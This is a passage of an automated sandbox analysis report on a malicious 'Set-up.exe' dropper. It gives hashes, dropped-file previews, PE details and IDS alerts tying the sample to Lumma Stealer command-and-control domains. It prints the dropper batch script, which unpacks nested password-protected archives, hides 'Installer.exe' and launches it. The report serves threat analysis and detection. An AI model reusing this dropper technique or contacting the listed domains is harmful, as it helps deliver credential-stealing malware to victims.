Preview:	PK........Rn.Y..uB_..._.......file_3.zipPK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q...u.....0:.......'...1...=A)...s6S.y

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512147
Entropy (8bit):	7.998155444192939
Encrypted:	true
SSDEEP:	12288:w3Fvr/KrgOD4W/iTJxnZxZt84otoKPF7rcFC7L4:GFmr9DV6TJpZxXEL9rNX4
MD5:	FC6106C411428E421DE593673892B72F
SHA1:	B5C1F38E1198E26FA2C2B786000E797676794045
SHA-256:	C165A3D777629605669D5C7AC7D55240A8DF0CB59686DD91D8A6111C03C67EBE
SHA-512:	BF46CA3B6E8DFED16CD701E05E194EB77B7E94FDE74DB260C7E9F679768DD7A1D516A20DE5ECE5E04B850D9582127A883F174C22CD2F47786EB53258EE4DD4A4
Malicious:	true
Preview:	PK........Rn.Y...............file_4.zipPK........Rn.Y..uB_..._.......file_3.zipPK........Rn.Y$..[............file_2.zipPK........Rn.Yr...+...+.......file_1.zipPK........Kn.Y..5....8.......Installer.exe.\}`.....K.pa...1.)A...4........)..&..i<.R......9.f8.....R.....?J/.&.........5J...l.o..H.....\|.y.f.....Zr...!I...iJ.^...H...c..I...$=9....V.\|.........Ol.....o..U.m....w..]~c...w.[.UzzZv...W..6.....in.W..X.."..W. .....{E.M.......~u.h..k......UD.......S.U.....:.._.)....6..V....^.n.h.4K...^s.(.=.&.&.F...KR..=.K.+...,u.:..@.v,....=6i.%v\...e;W.]....>z....M.mR.Y...l...t...5.U......sm. 1Vy<.W.n.j.[.[.........8..WY`.H.2.....<.!..U.6o..i.U.YJC..........9.. ~...pK....O.u._.J.4)...S<..Ai.-.......J&;.Q.9...J].u....Q...a..$..".?.4#.....w.....d...TI...J.......g.....t.i....S..m.H...1...E.J..+b.Rl,z....G)L?..... ...,..T..O.....@...5.......$....j,+.`.+b.oc;...X..,"U...&.6.f...J......].2.+...)...R...B.=....L.u........l....S.=..:....6..@t;.r...w..d..(bA..fAJ....q

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	512233
Entropy (8bit):	7.99811336541424
Encrypted:	true
SSDEEP:	12288:33Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNK:HFy5fZdkDJv73bChNrTRK
MD5:	DFCB1DBB6A046FD464412CCD1DAE66FE
SHA1:	512DBB73C6BDC9DB181C48BC3BADDFCB36BD018F
SHA-256:	0CC1DD7548213C1868612CDB992F566AA701D77A9AE018C709C450561DD22AD9
SHA-512:	AF57425587F0590E80386BC947A06330F785B1130A4CC34AAA48008EB74D17F5618D59FBBD796CFCB2F2B207CC07413E0878FFFB625239ABE2869B653F9F9780
Malicious:	true
Preview:	PK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r..I..iP.I.......V}.> ....r...Q..:....n.....N,.;..h..n.w..U.........c>.Bo.

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512387
Entropy (8bit):	7.998123873104573
Encrypted:	true
SSDEEP:	12288:H3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNV:XFy5fZdkDJv73bChNrTRV
MD5:	B7C74415382E8A9078A3A9467BD12517
SHA1:	69E51182E425ED6A13D0D021B0BAD8301A1792F5
SHA-256:	4BF6B02FE0358DC56339BBC0A26ABE7BE1ABED63B74EB975EC76C356952BDE5B
SHA-512:	3E3EDB65B5A2BB69B769922D71259ACA795DE6C84C64458FE4DEB4236BCAB6B7A9919955B72E34D720B4D84445CEF23B081FBE5A7688B6CDD25DE5200D96F361
Malicious:	true
Preview:	PK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r..I..iP.I.......V}.> .*...r...Q..:....

C:\Users\user\AppData\Local\Temp\main\extracted\file_8.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512541
Entropy (8bit):	7.998130338127172
Encrypted:	true
SSDEEP:	12288:g3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNM:2Fy5fZdkDJv73bChNrTRM
MD5:	C9C7BB282A5727DA7E9E1F4E9D8D3FBA
SHA1:	79B0AA3EEB4E3A998B357DAC97473948F68EF773
SHA-256:	BE879EFDEC472650B101D7BAFE4A1903A7CDDDB8A623A154921C230014D1A19E
SHA-512:	E96D16A720B7EE79FE0E059E00A26D833A7B2DB7F58B5220B5E0131A4A5DED923AD59B9BF500E46BAEFCCB8EE0F354CAF9F737CF0371F6AA47C92F3EABB63AA7
Malicious:	true
Preview:	PK........Rn.Y...............file_7.zipPK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a....#.-3.q.q......n_'...R3.....w...C.r

C:\Users\user\AppData\Local\Temp\main\extracted\file_9.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	512695
Entropy (8bit):	7.998132491458882
Encrypted:	true
SSDEEP:	12288:U3Fvrpo5g6ZWKHEDJnv73rP8woTiizbxr+FCrNw:iFy5fZdkDJv73bChNrTRw
MD5:	3B90F281C49BDF17DA4ADF690E2A475D
SHA1:	86821013A23E5048882BF58711D0549695ACA67D
SHA-256:	864947AD239B5E7B903C862FADF82E296EE048D73B70F4FCA516770271F2A741
SHA-512:	6F92DB4B36DF182BFB576863A1DF1A8C3AF4929135226ABE5B6B3C59FE6F43E39E4563CCDD22F35D28277B8C826590079A1DEB68BE39F7609E7FDEFAA4209B9E
Malicious:	true
Preview:	PK........Rn.Ye.*............file_8.zipPK........Rn.Y...............file_7.zipPK........Rn.Y.p.............file_6.zipPK........Rn.Y.?+.O...........file_5.zipd.UP....`$............P..vqw'...n...........tg........."......K..[.....e.....w...........]J......_....:%T.p...........:.../....q..a....!./....3...#...._UYG7w.{{.WV..X...7.....X..s6A.G..a....E........6..0K..i#.R[A..Lj..QZ........-,..J..X...6.v:P.#..-.>...S........}gy8...5..:.:J!...o#7g8..$..2m.\"..M-... .iM...f..r.\|...R..!yk....y.p.....q`.`....U......9..}.....v\c.x.....M.}..D>...T.+I.8.Z.......m...-2...USb.... .C.[3..}......@.T..[....4[o8.m..-..m..F.-.C.D;&.+.Y^-.. ........G......'s...v. .....O.A...M....A..O....b...V.n....2.;..'...+,...C09...@.v.c..\|...>.\..[Wd.~...@m].9.w.......G..g.l^.v..X.X]9.............2..xg.....@..#..Cn...-u...\Q.'......UL9Z.Y..!_.9.....H.x..C........2L......z..;.g..\|\|tICv-..M.;..01z..+.&........xX=~..Z.b...,^.B.%...M....5T.AA8....-..,.... .2Tp..H..A.Og..G.a.

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2180698
Entropy (8bit):	7.99990891733921
Encrypted:	true
SSDEEP:	49152:5RcsCieJLOveuKY6V5Rqgoq1cZvGcn2MyelH+5VTwQx6HtqVNP6ph:Pcs2JOmvR0qTClH+5VMNh
MD5:	AE5771940899F79E634B6E4475040467
SHA1:	225434A4900232053FBEFF5A60A08E53CFC1436A
SHA-256:	B9740CF94F4A77BB2D61EC79FF342E7C739BB35B2B61F32E9B5F2D09218C24FC
SHA-512:	2B50DA042539E81EA4B1B5DBDE62F3AEE6473DF550401DF2BC08505FC77A178994AB6608960251873B48089AE171E6365AE52408A493E71389B98D4796898134
Malicious:	true
Preview:	PK........Rn.Yh.2..E!..E!.....file_11.zip.aO.Y.......9m.X..v..&....j^..U.........9>..&....;.M.B.....>Ez...(..v..........X.<..._..f.o?..l...?../s .-...u.m.i.!%.E.@w...do/.W/..=.#.....Lde...QQN....Cu..w..P.d....Y..2z.I.f$DUo}WA.....h[....H4....b..`...k.#....fo..g..UA.....j..;......N.?...[..+.\|.Ob....W...iS3...6.......fJ.......[.u!.BW.OH..:9../_....O.!]...@....{V.....}.T.I.C"...X+_V.s.\|V..o....$;Cr...V....?.5b..g..x.C.a...k1..n..,2..6....}....Q....gq3U.X......].w..T.buX..!.?..Q......_`.....K..B.........b......U...bqA..F+....cf5....,.I.m......qu...#..%.k.....AH.K..:..zq.~.....h...L6.8L;...6..l....Vr.3.,....w(.mj..b...Kf...u...M..V..IV.-.....G+......h[I.Vs...U.5...c':..u..3S...'@.[...;.L...4f.].D.A..TB....P.'.l.X....o...n......l.+..8b.dN.Y...`.@.r.j.i)...K+:.Tr.:<W...L.@.}.......Y.A/.bf.N......-L...X....R.:.n.cq.........&..h\|.5.m..z.........y.d..>...Q#..p.7..6.C....Q.l...R..O.'!.,...'...\|Y~.`*$.D..kSD...kdl%x...T2Uo..<.......q}"......}Rzw..Y..u

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	2180698
Entropy (8bit):	7.99990891733921
Encrypted:	true
SSDEEP:	49152:5RcsCieJLOveuKY6V5Rqgoq1cZvGcn2MyelH+5VTwQx6HtqVNP6ph:Pcs2JOmvR0qTClH+5VMNh
MD5:	AE5771940899F79E634B6E4475040467
SHA1:	225434A4900232053FBEFF5A60A08E53CFC1436A
SHA-256:	B9740CF94F4A77BB2D61EC79FF342E7C739BB35B2B61F32E9B5F2D09218C24FC
SHA-512:	2B50DA042539E81EA4B1B5DBDE62F3AEE6473DF550401DF2BC08505FC77A178994AB6608960251873B48089AE171E6365AE52408A493E71389B98D4796898134
Malicious:	true
Preview:	PK........Rn.Yh.2..E!..E!.....file_11.zip.aO.Y.......9m.X..v..&....j^..U.........9>..&....;.M.B.....>Ez...(..v..........X.<..._..f.o?..l...?../s .-...u.m.i.!%.E.@w...do/.W/..=.#.....Lde...QQN....Cu..w..P.d....Y..2z.I.f$DUo}WA.....h[....H4....b..`...k.#....fo..g..UA.....j..;......N.?...[..+.\|.Ob....W...iS3...6.......fJ.......[.u!.BW.OH..:9../_....O.!]...@....{V.....}.T.I.C"...X+_V.s.\|V..o....$;Cr...V....?.5b..g..x.C.a...k1..n..,2..6....}....Q....gq3U.X......].w..T.buX..!.?..Q......_`.....K..B.........b......U...bqA..F+....cf5....,.I.m......qu...#..%.k.....AH.K..:..zq.~.....h...L6.8L;...6..l....Vr.3.,....w(.mj..b...Kf...u...M..V..IV.-.....G+......h[I.Vs...U.5...c':..u..3S...'@.[...;.L...4f.].D.A..TB....P.'.l.X....o...n......l.+..8b.dN.Y...`.@.r.j.i)...K+:.Tr.:<W...L.@.}.......Y.A/.bf.N......-L...X....R.:.n.cq.........&..h\|.5.m..z.........y.d..>...Q#..p.7..6.C....Q.l...R..O.'!.,...'...\|Y~.`*$.D..kSD...kdl%x...T2Uo..<.......q}"......}Rzw..Y..u

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	476
Entropy (8bit):	5.09690163183538
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvvk7WYCVGrMLvmuCCgXjgrXgX78agXrrEOXUigXY:QUpNF16g632Ckevk7WYCVGYTtS0rXS7Y
MD5:	A6D611790D8AFE6E81448CDF6DDB9EA4
SHA1:	4E402E68FC7130433A7004CBCE3834A8743BCF4C
SHA-256:	0C7BE4C51CD64A8B6D2235EE0EEAB8C98C565ED9B74B50C0EBA02750C3B24B2F
SHA-512:	2FAA6DE4F3E2872FE2575F775C282E17FAFB5AD4C31EB1DE118081F80F28B33E0C1ACFEC0779B5911314BA50A5A5C1EC11491A393C272F3EAB943636A6BF4938
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p29586644319935208542739921766 -oextracted ..for /l %%i in (11,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "Installer.exe" ../..cd....rd /s /q extracted..attrib +H "Installer.exe"..start "" "Installer.exe"..cls..echo Launched 'Installer.exe'...pause..del /f /q "Installer.exe"..

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.046538254653124
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioB4Dc8NmVSTgqF1AivwtHgN6qFfpap1tNGpKoip:pMpDh5RwXlCfTgqFyYw7qJA1tNGkoC
MD5:	5155BABB04DC876A4871112BA3AC2716
SHA1:	F7A7E8D917F4B829610ED476A51BE9096CF66918
SHA-256:	DA8B2175AEE6D2B8300AF87F89FBD77114349B41852CFCA04446CE7BCA990CB2
SHA-512:	C1A54C1BFC5E493B18C138D964112EC95ACEA7BD9F20F2971F666F6B152DA723A4B999118381FEC8D42F31B6D5F4A0ABA9F684800E0ECA4079A1BD2391D6CD59
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 511531 bytes (500 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 511531.... 0%. .Everything is Ok....Size: 625464..Compressed: 511531..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.249662010923958
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	56'623'098 bytes
MD5:	8ea72d1dd14d5a570d5f5a595cfd1d5d
SHA1:	95b3578c21adee532b48059d2e6d464676ac4768
SHA256:	642b22477ed760060155d8e6fc892590774ea57844694d22e47d23bb0473f10f
SHA512:	5e09c007538a8b3aedf02f485ef58a3d8248a46b0cd4c7800cd426aad9b242586765945be4a187ef2181dfc23b20c40256f773c4abc2754840d6230b2f7fec9b
SSDEEP:	24576:ls7kmRZjC4EHIiF2ZZ08LEYHQyWXI8LHxvjOXlf:pvFW08LxQLXFzw
TLSH:	F3C712DA4BDE334868173CD23DE10C7C63A456B32BF166182A8FB05656B6510D2F8FB9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	3efac0bce6cce0c0

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 00409268h
mov dword ptr [esp+14h], ebp
call dword ptr [00408030h]
push 00008001h
call dword ptr [004080B4h]
push ebp
call dword ptr [004082C0h]
push 00000008h
mov dword ptr [00472EB8h], eax
call 00007F6AC50A9F6Bh
push ebp
push 000002B4h
mov dword ptr [00472DD0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 00409264h
call dword ptr [00408184h]
push 0040924Ch
push 0046ADC0h
call 00007F6AC50A9C4Dh
call dword ptr [004080B0h]
push eax
mov edi, 004C30A0h
push edi
call 00007F6AC50A9C3Bh
push ebp
call dword ptr [00408134h]
cmp word ptr [004C30A0h], 0022h
mov dword ptr [00472DD8h], eax
mov eax, edi
jne 00007F6AC50A753Ah
push 00000022h
pop esi
mov eax, 004C30A2h
push esi
push eax
call 00007F6AC50A9911h
push eax
call dword ptr [00408260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F6AC50A75C3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F6AC50A753Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9b34	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf4000	0x2f3e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xeea56	0x28b0	.ndata
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7a000	0x964	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6dae	0x6e00	00499a6f70259150109c809d6aa0e6ed	False	0.6611150568181818	data	6.508529563136936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x2a62	0x2c00	07990aaa54c3bc638bb87a87f3fb13e3	False	0.3526278409090909	data	4.390535020989255	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x67ebc	0x200	014871d9a00f0e0c8c2a7cd25606c453	False	0.203125	data	1.4308602597540492	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x73000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf4000	0x2f3e	0x3000	73db03331e73fd1948b7b6a5d8b17341	False	0.5513509114583334	data	5.469163614302966	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf7000	0xf32	0x1000	0aadf3b52cfb5bd4e0a965152914b748	False	0.58935546875	data	5.415127623636039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xf41d8	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.5696704637917006
RT_DIALOG	0xf6840	0x100	data	English	United States	0.5234375
RT_DIALOG	0xf6940	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0xf6a5c	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0xf6abc	0x14	data	English	United States	1.1
RT_VERSION	0xf6ad0	0x198	OpenPGP Public Key	English	United States	0.571078431372549
RT_MANIFEST	0xf6c68	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T15:44:31.098506+0100	2057095	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (servicedny .site)	1	192.168.2.6	50901	1.1.1.1	53	UDP
2024-10-30T15:44:31.349697+0100	2057093	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)	1	192.168.2.6	60640	1.1.1.1	53	UDP
2024-10-30T15:44:31.363808+0100	2057089	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (opposezmny .site)	1	192.168.2.6	57632	1.1.1.1	53	UDP
2024-10-30T15:44:31.379405+0100	2057085	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (goalyfeastz .site)	1	192.168.2.6	64602	1.1.1.1	53	UDP
2024-10-30T15:44:32.022745+0100	2057086	ET MALWARE Observed Win32/Lumma Stealer Related Domain (goalyfeastz .site in TLS SNI)	1	192.168.2.6	49985	172.67.145.203	443	TCP
2024-10-30T15:44:32.514446+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49985	172.67.145.203	443	TCP
2024-10-30T15:44:32.514446+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49985	172.67.145.203	443	TCP
